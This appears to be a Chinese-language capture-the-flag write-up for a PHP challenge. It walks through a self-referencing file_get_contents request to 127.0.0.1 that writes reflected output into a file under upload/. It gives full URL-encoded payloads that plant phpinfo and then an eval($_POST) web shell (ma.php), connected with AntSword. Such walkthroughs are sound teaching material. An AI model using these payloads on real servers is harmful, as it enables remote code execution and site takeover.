题目
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET[\'file\'];
$path = \'upload/\'.$_GET[\'path\'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,\'..\') > -1){
die(\'SYCwaf!\');
}
if(strpos($url,\'http://127.0.0.1/\') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
分析
程序会访问url中的$file
,然后将返回内容写入到$path
文件中,再返回含$path
的页面
$file
参数开头需为http://127.0.0.1/
,$path
不可含有..
-
$path
可控,意味着返回页面内容可控,比如
-
所以可以将这个返回页面作为
$file
的返回内容写入另一个$path
文件中,相当于套娃,可以写shell
知识点
file_get_contents
将整个文件读入一个字符串
和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。
Note:
如果要打开有特殊字符的 URL (比如说有空格),就需要使用 urlencode() 进行 URL 编码。
file_put_contents
将一个字符串写入文件
和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
解法
phpinfo证明
返回<?php phpinfo();
http://192.168.146.181:23125/?file=http://127.0.0.1/&path=<?php+phpinfo();
因为上述url是作为参数传递给$file
,所以字符需要url编码
因为是由index.php请求,加上$file
参数开头需为http://127.0.0.1/
,所以192.168.146.181:23125
要改为127.0.0.1
最后的payload
path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d<%3fphp%2bphpinfo()%3b%3f>%26file%3dhttp%3a%2f%2f127.0.0.1%2findex.php
访问http://192.168.146.181:23125/upload/shell.php
写shell
返回shell页面
http://192.168.146.181:23125/?file=http://127.0.0.1/upload/&path=<?php+@eval($_POST[a]);+?>
payload
http://192.168.146.181:23125/?path=ma.php&file=http%3a%2f%2f127.0.0.1%2f%3ffile%3dhttp%3a%2f%2f127.0.0.1%2fupload%2f%26path%3d%3c%3fphp%2b%40eval(%24_POST%5ba%5d)%3b%2b%3f%3e
蚁剑连接